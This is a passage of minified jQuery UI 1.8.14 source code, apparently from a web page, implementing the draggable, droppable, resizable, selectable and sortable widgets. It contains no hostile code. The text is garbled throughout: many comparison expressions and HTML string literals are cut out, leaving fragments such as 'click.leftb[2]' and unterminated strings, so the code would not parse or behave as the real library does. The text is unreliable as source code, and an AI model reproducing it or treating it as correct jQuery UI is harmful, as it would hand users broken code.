e=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,h=/(html|body)/i.test(e[0].tagName);return{top:c.top+ this.offset.relative.top*d+this.offset.parent.top*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():h?0:e.scrollTop())*d),left:c.left+this.offset.relative.left*d+this.offset.parent.left*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():h?0:e.scrollLeft())*d)}},_generatePosition:function(d){var c=this.options,e=this.cssPosition=="absolute"&& !(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,h=/(html|body)/i.test(e[0].tagName),g=d.pageX,i=d.pageY;if(this.originalPosition){var b;if(this.containment){if(this.relative_container){b=this.relative_container.offset();b=[this.containment[0]+b.left,this.containment[1]+b.top,this.containment[2]+b.left,this.containment[3]+b.top]}else b=this.containment;if(d.pageX-this.offset.click.leftb[2])g=b[2]+this.offset.click.left;if(d.pageY-this.offset.click.top>b[3])i=b[3]+this.offset.click.top}if(c.grid){i=c.grid[1]?this.originalPageY+Math.round((i-this.originalPageY)/c.grid[1])*c.grid[1]:this.originalPageY;i=b?!(i-this.offset.click.topb[3])?i:!(i-this.offset.click.topb[2])?g:!(g-this.offset.click.left=0;l--){var o=e.snapElements[l].left,n=o+e.snapElements[l].width,k=e.snapElements[l].top,m=k+e.snapElements[l].height;if(o-g=l&&i<=o||b>=l&&b<=o||io)&&(h>= f&&h<=j||g>=f&&g<=j||hj);default:return false}};a.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(d,c){var e=a.ui.ddmanager.droppables[d.options.scope]||[],h=c?c.type:null,g=(d.currentItem||d.element).find(":data(droppable)").andSelf(),i=0;a:for(;i
      ').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(), top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle= this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=h.handles||(!a(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne", nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all")this.handles="n,e,s,w,se,sw,ne,nw";var g=this.handles.split(",");this.handles={};for(var i=0;i
      ');/sw|se|ne|nw/.test(b)&&f.css({zIndex:++h.zIndex});"se"==b&&f.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[b]=".ui-resizable-"+b;this.element.append(f)}}this._renderAxis=function(j){j=j||this.element;for(var l in this.handles){if(this.handles[l].constructor== String)this.handles[l]=a(this.handles[l],this.element).show();if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var o=a(this.handles[l],this.element),n=0;n=/sw|ne|nw|se|n|s/.test(l)?o.outerHeight():o.outerWidth();o=["padding",/ne|nw|n/.test(l)?"Top":/se|sw|s/.test(l)?"Bottom":/^e$/.test(l)?"Right":"Left"].join("");j.css(o,n);this._proportionallyResize()}a(this.handles[l])}};this._renderAxis(this.element);this._handles=a(".ui-resizable-handle",this.element).disableSelection(); this._handles.mouseover(function(){if(!e.resizing){if(this.className)var j=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);e.axis=j&&j[1]?j[1]:"se"}});if(h.autoHide){this._handles.hide();a(this.element).addClass("ui-resizable-autohide").hover(function(){if(!h.disabled){a(this).removeClass("ui-resizable-autohide");e._handles.show()}},function(){if(!h.disabled)if(!e.resizing){a(this).addClass("ui-resizable-autohide");e._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy(); var e=function(g){a(g).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){e(this.element);var h=this.element;h.after(this.originalElement.css({position:h.css("position"),width:h.outerWidth(),height:h.outerHeight(),top:h.css("top"),left:h.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);e(this.originalElement);return this},_mouseCapture:function(e){var h= false;for(var g in this.handles)if(a(this.handles[g])[0]==e.target)h=true;return!this.options.disabled&&h},_mouseStart:function(e){var h=this.options,g=this.element.position(),i=this.element;this.resizing=true;this.documentScroll={top:a(document).scrollTop(),left:a(document).scrollLeft()};if(i.is(".ui-draggable")||/absolute/.test(i.css("position")))i.css({position:"absolute",top:g.top,left:g.left});a.browser.opera&&/relative/.test(i.css("position"))&&i.css({position:"relative",top:"auto",left:"auto"}); this._renderProxy();g=d(this.helper.css("left"));var b=d(this.helper.css("top"));if(h.containment){g+=a(h.containment).scrollLeft()||0;b+=a(h.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:g,top:b};this.size=this._helper?{width:i.outerWidth(),height:i.outerHeight()}:{width:i.width(),height:i.height()};this.originalSize=this._helper?{width:i.outerWidth(),height:i.outerHeight()}:{width:i.width(),height:i.height()};this.originalPosition={left:g,top:b};this.sizeDiff= {width:i.outerWidth()-i.width(),height:i.outerHeight()-i.height()};this.originalMousePosition={left:e.pageX,top:e.pageY};this.aspectRatio=typeof h.aspectRatio=="number"?h.aspectRatio:this.originalSize.width/this.originalSize.height||1;h=a(".ui-resizable-"+this.axis).css("cursor");a("body").css("cursor",h=="auto"?this.axis+"-resize":h);i.addClass("ui-resizable-resizing");this._propagate("start",e);return true},_mouseDrag:function(e){var h=this.helper,g=this.originalMousePosition,i=this._change[this.axis]; if(!i)return false;g=i.apply(this,[e,e.pageX-g.left||0,e.pageY-g.top||0]);this._updateVirtualBoundaries(e.shiftKey);if(this._aspectRatio||e.shiftKey)g=this._updateRatio(g,e);g=this._respectSize(g,e);this._propagate("resize",e);h.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();this._updateCache(g);this._trigger("resize",e,this.ui());return false}, _mouseStop:function(e){this.resizing=false;var h=this.options,g=this;if(this._helper){var i=this._proportionallyResizeElements,b=i.length&&/textarea/i.test(i[0].nodeName);i=b&&a.ui.hasScroll(i[0],"left")?0:g.sizeDiff.height;b=b?0:g.sizeDiff.width;b={width:g.helper.width()-b,height:g.helper.height()-i};i=parseInt(g.element.css("left"),10)+(g.position.left-g.originalPosition.left)||null;var f=parseInt(g.element.css("top"),10)+(g.position.top-g.originalPosition.top)||null;h.animate||this.element.css(a.extend(b, {top:f,left:i}));g.helper.height(g.size.height);g.helper.width(g.size.width);this._helper&&!h.animate&&this._proportionallyResize()}a("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",e);this._helper&&this.helper.remove();return false},_updateVirtualBoundaries:function(e){var h=this.options,g,i,b;h={minWidth:c(h.minWidth)?h.minWidth:0,maxWidth:c(h.maxWidth)?h.maxWidth:Infinity,minHeight:c(h.minHeight)?h.minHeight:0,maxHeight:c(h.maxHeight)?h.maxHeight: Infinity};if(this._aspectRatio||e){e=h.minHeight*this.aspectRatio;i=h.minWidth/this.aspectRatio;g=h.maxHeight*this.aspectRatio;b=h.maxWidth/this.aspectRatio;if(e>h.minWidth)h.minWidth=e;if(i>h.minHeight)h.minHeight=i;if(ge.width,j=c(e.height)&&h.minHeight&&h.minHeight>e.height;if(f)e.width=h.minWidth;if(j)e.height=h.minHeight;if(i)e.width=h.maxWidth;if(b)e.height=h.maxHeight;var l=this.originalPosition.left+this.originalSize.width,o=this.position.top+this.size.height,n=/sw|nw|w/.test(g);g=/nw|ne|n/.test(g);if(f&&n)e.left=l-h.minWidth;if(i&&n)e.left=l-h.maxWidth;if(j&&g)e.top=o-h.minHeight;if(b&&g)e.top=o-h.maxHeight;if((h=!e.width&&!e.height)&&!e.left&&e.top)e.top=null;else if(h&&!e.top&&e.left)e.left= null;return e},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e=this.helper||this.element,h=0;h
      ');var h=a.browser.msie&&a.browser.version<7,g=h?1:0;h=h?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+ h,height:this.element.outerHeight()+h,position:"absolute",left:this.elementOffset.left-g+"px",top:this.elementOffset.top-g+"px",zIndex:++e.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(e,h){return{width:this.originalSize.width+h}},w:function(e,h){return{left:this.originalPosition.left+h,width:this.originalSize.width-h}},n:function(e,h,g){return{top:this.originalPosition.top+g,height:this.originalSize.height-g}},s:function(e,h,g){return{height:this.originalSize.height+ g}},se:function(e,h,g){return a.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[e,h,g]))},sw:function(e,h,g){return a.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[e,h,g]))},ne:function(e,h,g){return a.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[e,h,g]))},nw:function(e,h,g){return a.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[e,h,g]))}},_propagate:function(e,h){a.ui.plugin.call(this,e,[h,this.ui()]); e!="resize"&&this._trigger(e,h,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});a.extend(a.ui.resizable,{version:"1.8.14"});a.ui.plugin.add("resizable","alsoResize",{start:function(){var e=a(this).data("resizable").options,h=function(g){a(g).each(function(){var i=a(this);i.data("resizable-alsoresize",{width:parseInt(i.width(), 10),height:parseInt(i.height(),10),left:parseInt(i.css("left"),10),top:parseInt(i.css("top"),10),position:i.css("position")})})};if(typeof e.alsoResize=="object"&&!e.alsoResize.parentNode)if(e.alsoResize.length){e.alsoResize=e.alsoResize[0];h(e.alsoResize)}else a.each(e.alsoResize,function(g){h(g)});else h(e.alsoResize)},resize:function(e,h){var g=a(this).data("resizable");e=g.options;var i=g.originalSize,b=g.originalPosition,f={height:g.size.height-i.height||0,width:g.size.width-i.width||0,top:g.position.top- b.top||0,left:g.position.left-b.left||0},j=function(l,o){a(l).each(function(){var n=a(this),k=a(this).data("resizable-alsoresize"),m={},p=o&&o.length?o:n.parents(h.originalElement[0]).length?["width","height"]:["width","height","top","left"];a.each(p,function(q,s){if((q=(k[s]||0)+(f[s]||0))&&q>=0)m[s]=q||null});if(a.browser.opera&&/relative/.test(n.css("position"))){g._revertToRelativePosition=true;n.css({position:"absolute",top:"auto",left:"auto"})}n.css(m)})};typeof e.alsoResize=="object"&&!e.alsoResize.nodeType? a.each(e.alsoResize,function(l,o){j(l,o)}):j(e.alsoResize)},stop:function(){var e=a(this).data("resizable"),h=e.options,g=function(i){a(i).each(function(){var b=a(this);b.css({position:b.data("resizable-alsoresize").position})})};if(e._revertToRelativePosition){e._revertToRelativePosition=false;typeof h.alsoResize=="object"&&!h.alsoResize.nodeType?a.each(h.alsoResize,function(i){g(i)}):g(h.alsoResize)}a(this).removeData("resizable-alsoresize")}});a.ui.plugin.add("resizable","animate",{stop:function(e){var h= a(this).data("resizable"),g=h.options,i=h._proportionallyResizeElements,b=i.length&&/textarea/i.test(i[0].nodeName),f=b&&a.ui.hasScroll(i[0],"left")?0:h.sizeDiff.height;b={width:h.size.width-(b?0:h.sizeDiff.width),height:h.size.height-f};f=parseInt(h.element.css("left"),10)+(h.position.left-h.originalPosition.left)||null;var j=parseInt(h.element.css("top"),10)+(h.position.top-h.originalPosition.top)||null;h.element.animate(a.extend(b,j&&f?{top:j,left:f}:{}),{duration:g.animateDuration,easing:g.animateEasing, step:function(){var l={width:parseInt(h.element.css("width"),10),height:parseInt(h.element.css("height"),10),top:parseInt(h.element.css("top"),10),left:parseInt(h.element.css("left"),10)};i&&i.length&&a(i[0]).css({width:l.width,height:l.height});h._updateCache(l);h._propagate("resize",e)}})}});a.ui.plugin.add("resizable","containment",{start:function(){var e=a(this).data("resizable"),h=e.element,g=e.options.containment;if(h=g instanceof a?g.get(0):/parent/.test(g)?h.parent().get(0):g){e.containerElement= a(h);if(/document/.test(g)||g==document){e.containerOffset={left:0,top:0};e.containerPosition={left:0,top:0};e.parentData={element:a(document),left:0,top:0,width:a(document).width(),height:a(document).height()||document.body.parentNode.scrollHeight}}else{var i=a(h),b=[];a(["Top","Right","Left","Bottom"]).each(function(l,o){b[l]=d(i.css("padding"+o))});e.containerOffset=i.offset();e.containerPosition=i.position();e.containerSize={height:i.innerHeight()-b[3],width:i.innerWidth()-b[1]};g=e.containerOffset; var f=e.containerSize.height,j=e.containerSize.width;j=a.ui.hasScroll(h,"left")?h.scrollWidth:j;f=a.ui.hasScroll(h)?h.scrollHeight:f;e.parentData={element:h,left:g.left,top:g.top,width:j,height:f}}}},resize:function(e){var h=a(this).data("resizable"),g=h.options,i=h.containerOffset,b=h.position;e=h._aspectRatio||e.shiftKey;var f={top:0,left:0},j=h.containerElement;if(j[0]!=document&&/static/.test(j.css("position")))f=i;if(b.left<(h._helper?i.left:0)){h.size.width+=h._helper?h.position.left-i.left: h.position.left-f.left;if(e)h.size.height=h.size.width/g.aspectRatio;h.position.left=g.helper?i.left:0}if(b.top<(h._helper?i.top:0)){h.size.height+=h._helper?h.position.top-i.top:h.position.top;if(e)h.size.width=h.size.height*g.aspectRatio;h.position.top=h._helper?i.top:0}h.offset.left=h.parentData.left+h.position.left;h.offset.top=h.parentData.top+h.position.top;g=Math.abs((h._helper?h.offset.left-f.left:h.offset.left-f.left)+h.sizeDiff.width);i=Math.abs((h._helper?h.offset.top-f.top:h.offset.top- i.top)+h.sizeDiff.height);b=h.containerElement.get(0)==h.element.parent().get(0);f=/relative|absolute/.test(h.containerElement.css("position"));if(b&&f)g-=h.parentData.left;if(g+h.size.width>=h.parentData.width){h.size.width=h.parentData.width-g;if(e)h.size.height=h.size.width/h.aspectRatio}if(i+h.size.height>=h.parentData.height){h.size.height=h.parentData.height-i;if(e)h.size.width=h.size.height*h.aspectRatio}},stop:function(){var e=a(this).data("resizable"),h=e.options,g=e.containerOffset,i=e.containerPosition, b=e.containerElement,f=a(e.helper),j=f.offset(),l=f.outerWidth()-e.sizeDiff.width;f=f.outerHeight()-e.sizeDiff.height;e._helper&&!h.animate&&/relative/.test(b.css("position"))&&a(this).css({left:j.left-i.left-g.left,width:l,height:f});e._helper&&!h.animate&&/static/.test(b.css("position"))&&a(this).css({left:j.left-i.left-g.left,width:l,height:f})}});a.ui.plugin.add("resizable","ghost",{start:function(){var e=a(this).data("resizable"),h=e.options,g=e.size;e.ghost=e.originalElement.clone();e.ghost.css({opacity:0.25, display:"block",position:"relative",height:g.height,width:g.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof h.ghost=="string"?h.ghost:"");e.ghost.appendTo(e.helper)},resize:function(){var e=a(this).data("resizable");e.ghost&&e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})},stop:function(){var e=a(this).data("resizable");e.ghost&&e.helper&&e.helper.get(0).removeChild(e.ghost.get(0))}});a.ui.plugin.add("resizable","grid",{resize:function(){var e= a(this).data("resizable"),h=e.options,g=e.size,i=e.originalSize,b=e.originalPosition,f=e.axis;h.grid=typeof h.grid=="number"?[h.grid,h.grid]:h.grid;var j=Math.round((g.width-i.width)/(h.grid[0]||1))*(h.grid[0]||1);h=Math.round((g.height-i.height)/(h.grid[1]||1))*(h.grid[1]||1);if(/^(se|s|e)$/.test(f)){e.size.width=i.width+j;e.size.height=i.height+h}else if(/^(ne)$/.test(f)){e.size.width=i.width+j;e.size.height=i.height+h;e.position.top=b.top-h}else{if(/^(sw)$/.test(f)){e.size.width=i.width+j;e.size.height= i.height+h}else{e.size.width=i.width+j;e.size.height=i.height+h;e.position.top=b.top-h}e.position.left=b.left-j}}});var d=function(e){return parseInt(e,10)||0},c=function(e){return!isNaN(parseInt(e,10))}})(jQuery); (function(a){a.widget("ui.selectable",a.ui.mouse,{options:{appendTo:"body",autoRefresh:true,distance:0,filter:"*",tolerance:"touch"},_create:function(){var d=this;this.element.addClass("ui-selectable");this.dragged=false;var c;this.refresh=function(){c=a(d.options.filter,d.element[0]);c.each(function(){var e=a(this),h=e.offset();a.data(this,"selectable-item",{element:this,$element:e,left:h.left,top:h.top,right:h.left+e.outerWidth(),bottom:h.top+e.outerHeight(),startselected:false,selected:e.hasClass("ui-selected"), selecting:e.hasClass("ui-selecting"),unselecting:e.hasClass("ui-unselecting")})})};this.refresh();this.selectees=c.addClass("ui-selectee");this._mouseInit();this.helper=a("
      ")},destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item");this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");this._mouseDestroy();return this},_mouseStart:function(d){var c=this;this.opos=[d.pageX, d.pageY];if(!this.options.disabled){var e=this.options;this.selectees=a(e.filter,this.element[0]);this._trigger("start",d);a(e.appendTo).append(this.helper);this.helper.css({left:d.clientX,top:d.clientY,width:0,height:0});e.autoRefresh&&this.refresh();this.selectees.filter(".ui-selected").each(function(){var h=a.data(this,"selectable-item");h.startselected=true;if(!d.metaKey){h.$element.removeClass("ui-selected");h.selected=false;h.$element.addClass("ui-unselecting");h.unselecting=true;c._trigger("unselecting", d,{unselecting:h.element})}});a(d.target).parents().andSelf().each(function(){var h=a.data(this,"selectable-item");if(h){var g=!d.metaKey||!h.$element.hasClass("ui-selected");h.$element.removeClass(g?"ui-unselecting":"ui-selected").addClass(g?"ui-selecting":"ui-unselecting");h.unselecting=!g;h.selecting=g;(h.selected=g)?c._trigger("selecting",d,{selecting:h.element}):c._trigger("unselecting",d,{unselecting:h.element});return false}})}},_mouseDrag:function(d){var c=this;this.dragged=true;if(!this.options.disabled){var e= this.options,h=this.opos[0],g=this.opos[1],i=d.pageX,b=d.pageY;if(h>i){var f=i;i=h;h=f}if(g>b){f=b;b=g;g=f}this.helper.css({left:h,top:g,width:i-h,height:b-g});this.selectees.each(function(){var j=a.data(this,"selectable-item");if(!(!j||j.element==c.element[0])){var l=false;if(e.tolerance=="touch")l=!(j.left>i||j.rightb||j.bottomh&&j.rightg&&j.bottom *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1E3},_create:function(){var d=this.options;this.containerCache={};this.element.addClass("ui-sortable"); this.refresh();this.floating=this.items.length?d.axis==="x"||/left|right/.test(this.items[0].item.css("float"))||/inline|table-cell/.test(this.items[0].item.css("display")):false;this.offset=this.element.offset();this._mouseInit()},destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");this._mouseDestroy();for(var d=this.items.length-1;d>=0;d--)this.items[d].item.removeData("sortable-item");return this},_setOption:function(d,c){if(d=== "disabled"){this.options[d]=c;this.widget()[c?"addClass":"removeClass"]("ui-sortable-disabled")}else a.Widget.prototype._setOption.apply(this,arguments)},_mouseCapture:function(d,c){if(this.reverting)return false;if(this.options.disabled||this.options.type=="static")return false;this._refreshItems(d);var e=null,h=this;a(d.target).parents().each(function(){if(a.data(this,"sortable-item")==h){e=a(this);return false}});if(a.data(d.target,"sortable-item")==h)e=a(d.target);if(!e)return false;if(this.options.handle&& !c){var g=false;a(this.options.handle,e).find("*").andSelf().each(function(){if(this==d.target)g=true});if(!g)return false}this.currentItem=e;this._removeCurrentsFromItems();return true},_mouseStart:function(d,c,e){c=this.options;var h=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(d);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top, left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");a.extend(this.offset,{click:{left:d.pageX-this.offset.left,top:d.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(d);this.originalPageX=d.pageX;this.originalPageY=d.pageY;c.cursorAt&&this._adjustOffsetFromHelper(c.cursorAt);this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]}; this.helper[0]!=this.currentItem[0]&&this.currentItem.hide();this._createPlaceholder();c.containment&&this._setContainment();if(c.cursor){if(a("body").css("cursor"))this._storedCursor=a("body").css("cursor");a("body").css("cursor",c.cursor)}if(c.opacity){if(this.helper.css("opacity"))this._storedOpacity=this.helper.css("opacity");this.helper.css("opacity",c.opacity)}if(c.zIndex){if(this.helper.css("zIndex"))this._storedZIndex=this.helper.css("zIndex");this.helper.css("zIndex",c.zIndex)}if(this.scrollParent[0]!= document&&this.scrollParent[0].tagName!="HTML")this.overflowOffset=this.scrollParent.offset();this._trigger("start",d,this._uiHash());this._preserveHelperProportions||this._cacheHelperProportions();if(!e)for(e=this.containers.length-1;e>=0;e--)this.containers[e]._trigger("activate",d,h._uiHash(this));if(a.ui.ddmanager)a.ui.ddmanager.current=this;a.ui.ddmanager&&!c.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,d);this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(d); return true},_mouseDrag:function(d){this.position=this._generatePosition(d);this.positionAbs=this._convertPositionTo("absolute");if(!this.lastPositionAbs)this.lastPositionAbs=this.positionAbs;if(this.options.scroll){var c=this.options,e=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if(this.overflowOffset.top+this.scrollParent[0].offsetHeight-d.pageY=0;c--){e=this.items[c];var h=e.item[0],g=this._intersectsWithPointer(e);if(g)if(h!=this.currentItem[0]&&this.placeholder[g==1?"next":"prev"]()[0]!=h&&!a.ui.contains(this.placeholder[0],h)&&(this.options.type=="semi-dynamic"?!a.ui.contains(this.element[0], h):true)){this.direction=g==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(e))this._rearrange(d,e);else break;this._trigger("change",d,this._uiHash());break}}this._contactContainers(d);a.ui.ddmanager&&a.ui.ddmanager.drag(this,d);this._trigger("sort",d,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(d,c){if(d){a.ui.ddmanager&&!this.options.dropBehaviour&&a.ui.ddmanager.drop(this,d);if(this.options.revert){var e=this;c=e.placeholder.offset(); e.reverting=true;a(this.helper).animate({left:c.left-this.offset.parent.left-e.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:c.top-this.offset.parent.top-e.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){e._clear(d)})}else this._clear(d,c);return false}},cancel:function(){var d=this;if(this.dragging){this._mouseUp({target:null});this.options.helper=="original"?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"): this.currentItem.show();for(var c=this.containers.length-1;c>=0;c--){this.containers[c]._trigger("deactivate",null,d._uiHash(this));if(this.containers[c].containerCache.over){this.containers[c]._trigger("out",null,d._uiHash(this));this.containers[c].containerCache.over=0}}}if(this.placeholder){this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]);this.options.helper!="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove();a.extend(this,{helper:null, dragging:false,reverting:false,_noFinalSort:null});this.domPosition.prev?a(this.domPosition.prev).after(this.currentItem):a(this.domPosition.parent).prepend(this.currentItem)}return this},serialize:function(d){var c=this._getItemsAsjQuery(d&&d.connected),e=[];d=d||{};a(c).each(function(){var h=(a(d.item||this).attr(d.attribute||"id")||"").match(d.expression||/(.+)[-=_](.+)/);if(h)e.push((d.key||h[1]+"[]")+"="+(d.key&&d.expression?h[1]:h[2]))});!e.length&&d.key&&e.push(d.key+"=");return e.join("&")}, toArray:function(d){var c=this._getItemsAsjQuery(d&&d.connected),e=[];d=d||{};c.each(function(){e.push(a(d.item||this).attr(d.attribute||"id")||"")});return e},_intersectsWith:function(d){var c=this.positionAbs.left,e=c+this.helperProportions.width,h=this.positionAbs.top,g=h+this.helperProportions.height,i=d.left,b=i+d.width,f=d.top,j=f+d.height,l=this.offset.click.top,o=this.offset.click.left;l=h+l>f&&h+li&&c+od[this.floating?"width":"height"]?l:i0?"down":"up")},_getDragHorizontalDirection:function(){var d=this.positionAbs.left-this.lastPositionAbs.left;return d!=0&&(d>0?"right":"left")},refresh:function(d){this._refreshItems(d);this.refreshPositions();return this},_connectWith:function(){var d=this.options;return d.connectWith.constructor==String?[d.connectWith]:d.connectWith},_getItemsAsjQuery:function(d){var c=[],e=[],h=this._connectWith(); if(h&&d)for(d=h.length-1;d>=0;d--)for(var g=a(h[d]),i=g.length-1;i>=0;i--){var b=a.data(g[i],"sortable");if(b&&b!=this&&!b.options.disabled)e.push([a.isFunction(b.options.items)?b.options.items.call(b.element):a(b.options.items,b.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),b])}e.push([a.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):a(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), this]);for(d=e.length-1;d>=0;d--)e[d][0].each(function(){c.push(this)});return a(c)},_removeCurrentsFromItems:function(){for(var d=this.currentItem.find(":data(sortable-item)"),c=0;c=0;g--)for(var i=a(h[g]),b=i.length-1;b>=0;b--){var f=a.data(i[b],"sortable");if(f&&f!=this&&!f.options.disabled){e.push([a.isFunction(f.options.items)?f.options.items.call(f.element[0],d,{item:this.currentItem}):a(f.options.items,f.element),f]);this.containers.push(f)}}for(g=e.length-1;g>=0;g--){d=e[g][1];h=e[g][0];b=0;for(i=h.length;b=0;c--){var e=this.items[c];if(!(e.instance!=this.currentContainer&&this.currentContainer&&e.item[0]!=this.currentItem[0])){var h=this.options.toleranceElement?a(this.options.toleranceElement,e.item):e.item;if(!d){e.width=h.outerWidth();e.height=h.outerHeight()}h=h.offset();e.left=h.left;e.top=h.top}}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(c= this.containers.length-1;c>=0;c--){h=this.containers[c].element.offset();this.containers[c].containerCache.left=h.left;this.containers[c].containerCache.top=h.top;this.containers[c].containerCache.width=this.containers[c].element.outerWidth();this.containers[c].containerCache.height=this.containers[c].element.outerHeight()}return this},_createPlaceholder:function(d){var c=d||this,e=c.options;if(!e.placeholder||e.placeholder.constructor==String){var h=e.placeholder;e.placeholder={element:function(){var g= a(document.createElement(c.currentItem[0].nodeName)).addClass(h||c.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!h)g.style.visibility="hidden";return g},update:function(g,i){if(!(h&&!e.forcePlaceholderSize)){i.height()||i.height(c.currentItem.innerHeight()-parseInt(c.currentItem.css("paddingTop")||0,10)-parseInt(c.currentItem.css("paddingBottom")||0,10));i.width()||i.width(c.currentItem.innerWidth()-parseInt(c.currentItem.css("paddingLeft")||0,10)-parseInt(c.currentItem.css("paddingRight")|| 0,10))}}}}c.placeholder=a(e.placeholder.element.call(c.element,c.currentItem));c.currentItem.after(c.placeholder);e.placeholder.update(c,c.placeholder)},_contactContainers:function(d){for(var c=null,e=null,h=this.containers.length-1;h>=0;h--)if(!a.ui.contains(this.currentItem[0],this.containers[h].element[0]))if(this._intersectsWith(this.containers[h].containerCache)){if(!(c&&a.ui.contains(this.containers[h].element[0],c.element[0]))){c=this.containers[h];e=h}}else if(this.containers[h].containerCache.over){this.containers[h]._trigger("out", d,this._uiHash(this));this.containers[h].containerCache.over=0}if(c)if(this.containers.length===1){this.containers[e]._trigger("over",d,this._uiHash(this));this.containers[e].containerCache.over=1}else if(this.currentContainer!=this.containers[e]){c=1E4;h=null;for(var g=this.positionAbs[this.containers[e].floating?"left":"top"],i=this.items.length-1;i>=0;i--)if(a.ui.contains(this.containers[e].element[0],this.items[i].item[0])){var b=this.items[i][this.containers[e].floating?"left":"top"];if(Math.abs(b- g)this.containment[2])g=this.containment[2]+this.offset.click.left;if(d.pageY-this.offset.click.top>this.containment[3])i=this.containment[3]+this.offset.click.top}if(c.grid){i=this.originalPageY+Math.round((i- this.originalPageY)/c.grid[1])*c.grid[1];i=this.containment?!(i-this.offset.click.topthis.containment[3])?i:!(i-this.offset.click.topthis.containment[2])?g:!(g-this.offset.click.left=0;h--)if(a.ui.contains(this.containers[h].element[0],this.currentItem[0])&&!c){e.push(function(g){return function(i){g._trigger("receive",i,this._uiHash(this))}}.call(this,this.containers[h]));e.push(function(g){return function(i){g._trigger("update",i,this._uiHash(this))}}.call(this,this.containers[h]))}}for(h=this.containers.length-1;h>=0;h--){c||e.push(function(g){return function(i){g._trigger("deactivate",i,this._uiHash(this))}}.call(this, this.containers[h]));if(this.containers[h].containerCache.over){e.push(function(g){return function(i){g._trigger("out",i,this._uiHash(this))}}.call(this,this.containers[h]));this.containers[h].containerCache.over=0}}this._storedCursor&&a("body").css("cursor",this._storedCursor);this._storedOpacity&&this.helper.css("opacity",this._storedOpacity);if(this._storedZIndex)this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex);this.dragging=false;if(this.cancelHelperRemoval){if(!c){this._trigger("beforeStop", d,this._uiHash());for(h=0;h
